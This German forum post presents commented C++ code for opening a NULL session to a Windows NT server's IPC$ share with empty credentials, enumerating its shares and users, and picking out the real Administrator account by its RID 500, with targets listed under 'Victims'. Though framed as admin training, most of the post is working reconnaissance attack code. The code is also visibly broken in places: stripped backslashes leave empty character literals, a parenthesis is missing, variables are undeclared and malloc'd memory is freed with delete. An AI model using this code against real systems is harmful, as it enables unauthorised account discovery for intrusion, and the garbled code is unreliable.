Administratorrechte unter WinNT durch eine NULL Session

throjan

Administrator
Mitarbeiter
#1
Informationen über NULL Sessions

Dieser Text ist eine detailierte Beschreibung, wie man sich zu einem NT Server über eine NULL Session verbindet und den Namen des wirklichen Administrator Accounts ausliest. Auch oder besonders Admins, die nicht programmieren, sollten einen Blick in diesen Artikel werfen, um sich mit den hier erklärten API's anzufreunden. Dadurch wird man die gesamte NT Umgebung besser verstehen und auch in der Lage sein, potentiell gefährlichen Code zu erkennen. Die Fähigkeit Risiken abzuschätzen, ist mitunter einer der zentralsten Punkte für einen Administrator. Nur mit diesem gewissen Weitblick gepaart mit dem entsprechenden KnowHow lassen sich auf lange Sicht ernsthafte Schäden am System vermeiden. Deshalb ist dieser Text und das damit verbundene 'Training' für Admins, gefährlichen Code zu erkennen, von hoher Bedeutung.

NULL Sessions sind usprünglich dazu gedacht, um es einem nicht authentifizierten Host zu gestatten, die Informationslisten des NT Servers einzusehen, und sich in das MS Netzwerk einwählen zu können. Dies ist meist bei Win95/98/NT Hosts nützlich, die nicht Teil der Domain sind, aber trotzdem die Möglichkeit brauchen, auf dortige Informationen zugreifen zu können.

Das Problem entsteht dann, wenn eine NULL Session Teil der "Jeder"-Gruppe wird und dadurch Zugriff auf Resourcen bekommt, für die sie eigentlich nicht authentifiziert ist, die "Jeder"-Gruppe aber Zugriff hat. Ursprügnlich bedeutet "Jeder" nicht "Irgendwer". Man musste sich immer noch einloggen, um in die "Jeder"-Gruppe zu gelangen. NULL Sessions jedoch könnten dieser eine Fall sein, bei dem "Jeder" doch "Irgendwer" bedeutet. Aus diesem Grund erstellte MS eine neue Benutzergruppe, die "Auhtentifizierte Benutzer"-Gruppe. Diese Gruppe enthält keine NULL Sessions und kann damit auch nicht "Irgendwer" bedeuten - solange bis jemand ein Exploit dafür findet.

Die folgenden Code Segmente sind kommentiert, um genau zu zeigen was passiert, welche API's verwendet werden, und wie der wirkliche Administrator Name identifiziert werden kann.

Zuerst - wie man eine NULL "Sitzung" herstellt

Die eine Möglichkeit ist die, den Net Use Befehl mit einem leeren Passwort zu benutzen. Programmiertechnisch sieht das so aus...

//Diese Funktion wird vom Dialog aufgerufen, der die Li


stbox mit Verbindungen füllt

BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)
{
//Setup für UNICODE
char* pTemp = TargetHost.GetBuffer(256);
WCHAR wszServ[256];
LPWSTR Server = NULL;

//Konvertieren in Unicode
MultiByteToWideChar(CP_ACP, 0, pTemp,
strlen(pTemp)+1, wszServ,
sizeof(wszServ)/sizeof(wszServ[0]) );

//Erstellt den Verbindungsstring über die IPC$ Freigabe, den wir brauchen
Server = wszServ;

LPCWSTR szIpc = L"\IPC$";
WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + IPC$ + NULL
DWORD dwServNameLen;
DWORD dwRC;

//Installiert Win32 Strukturen und Variablen, die wir brauchen
NET_API_STATUS nas;

USE_INFO_2 ui2;
SHARE_INFO_1* pSHInfo1 = NULL;
DWORD dwEntriesRead;
DWORD dwTotalEntries;

//Setzt die Werte in der Verzeichnisbaumkontrolle, um die Verbindungsergebnisse einzufügen

HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;

char sharename[256];
char remark[256];

if(Server == NULL || *Server == L'')
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

dwServNameLen = lstrlenW( Server );

//Test verschiedener Fehlermeldungen im Verbindungsstring
if(Server[0] != L''&& Server[1] != L'')
{
// Stellt die Schrägstriche und NULL terminate voran
RemoteResource[0] = L'';
RemoteResource[1] = L'';
RemoteResource[2] = L'';
}
else
{
dwServNameLen -= 2; // nimmt Schrägstriche vom Zähler
RemoteResource[0] = L'';
}

if(dwServNameLen >CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;
if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;
//Beginn, den Memory zu säubern
ZeroMemory(&ui2, sizeof(ui2));
//Fügt die Win32 Netzwerkstrukturen ein, die wir brauchen, um die connect API zu nutzen
ui2.ui2_local = NULL;
ui2.ui2_remote = (LPTSTR) RemoteResource;
ui2.ui2_asg_type = USE_IPC;
ui2.ui2_password = (LPTSTR) L""; //SETZT DAS PASSWORT AUF NULL
ui2.ui2_username = (LPTSTR) L"";
ui2.ui2_domainname = (LPTSTR) L"";

//DADURCH WIRD DIE NULL SESSION AUFGEFORDERT, DIE VERBINDUNG AUFZUBAUEN
nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT);
}

//HIER GIBT NT SEINE INFORMATIONEN AUS
nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
if(dwTotalEntries > 0)
{
shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST);
userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST);
adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST);

}
for(int x=0; x<(int)dwTotalEntries; x++)
{
//Rückkonvertierung nach ANSI
WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1,
sharename, 256, NULL, NULL );

WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1,
remark, 256, NULL, NULL );
CString ShareDetails = sharename;
ShareDetails = ShareDetails + " - " + remark;
//füllt den Verzeichnisbaum mit der Verbindungsinfo
attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST);
pSHInfo1++;
}
}

//Die Funktion, die die Benutzer auflistet, steht weiter unten
DoNetUserEnum(Server, pDlg, userRoot, adminRoot);

//WIR SIND FERTIG, ALSO BEENDE DIE VERBINDUNG
nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);

TargetHost.ReleaseBuffer();
SetLastError( nas );
return FALSE;
}

Die folgende Funktion erklärt, wie man programmiertechnisch den Administrator Status eines Accounts ausfindig machen kann...

bool GetAdmin(char* pServer, char* pUser, CString& Name)
{
BOOL fAdmin = FALSE;
DWORD dwDomainName,dwSize,dwAdminVal;
SID_NAME_USE use;
PSID pUserSID = NULL; // SID für Benutzer
int rc;
int iSubCount;

bool bFoundHim = 0;
dwDomainName = 256;
dwSize = 0;
dwAdminVal = 0;
iSubCount = 0;

//Fragt API nach Puffergröße, da wir die Größe ja nicht im voraus wissen
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
rc = GetLastError();

//teilt einen größeren Puffer zu
if(rc == ERROR_INSUFFICIENT_BUFFER)
{
pUserSID = (PSID) malloc(dwSize);

//Wiederhole die Anfrage, da wir jetzt die richtige Puffergröße haben
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
}

//Scannt die SIDS nach dem goldenen Schlüssel - ADMIN == 500

//Holt eine Zählerliste der SID's
iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));
//Die Admin SID ist das letzte Element in der Zählerliste
dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));

if(dwAdminVal==500) //EIN TEST UM ZU SCHAUEN, OB DAS DER ADMIN IST
{
Name.Format("Admin is %s\%s ", szDomainName, pUser);
bFoundHim = true;
}

delete pUserSID;
return bFoundHim; //WIR WISSEN WER ER IST, FÜGE IHN DEM VERZEICHNISBAUM BEI
}

Funktion um die Benutzer Accounts aufzulisten.....

void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot)
{
USER_INFO_10 *pUserbuf, *pCurUser;
DWORD dwRead, dwRemaining, dwResume, dwRC;

char userName[256];
char userServer[256];

dwResume = 0;

if(pServer[0] != L'' && pServer[1] != L'')
{
//Beginne Anfrage mit korrekten UNC Schrägstrichen und NULL terminate
RemoteResource[0] = L'';
RemoteResource[1] = L'';
RemoteResource[2] = L'';
}
else
{
dwServNameLen -= 2; // nimmt Schrägstriche vom Zähler

RemoteResource[0] = L'';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return;
}

if(lstrcatW(RemoteResource, pServer) == NULL) return;

do
{

pUserbuf = NULL;

//DIESE API BENUTZT NT, UM SEINE LISTE AUSZUGEBEN
dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024,
&dwRead, &dwRemaining, &dwResume);
if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)
break;

DWORD i;
for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)
{

// Rückkonvertierung nach ANSI.
WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL );
// Rückkonvertierung nach ANSI.
WideCharToMultiByte( CP_ACP, 0, pServer, -1,
userServer, 256, NULL, NULL );

if(!GotAdmin)
{
//verwende char strings
CString Admin;
GotAdmin = GetAdmin(userServer, userName, Admin);
if(GotAdmin
{
Admin.TrimRight();
HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST);
pDlg->m_Victims.EnsureVisible(adminChild);
}
}

CString strUserName = userName;
pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);

}
if (pUserbuf != NULL)
NetApiBufferFree(pUserbuf);
} while (dwRC == ERROR_MORE_DATA);

if (dwRC != ERROR_SUCCESS)
printf("NUE() returned %lu ", dwRC);
}
 
Oben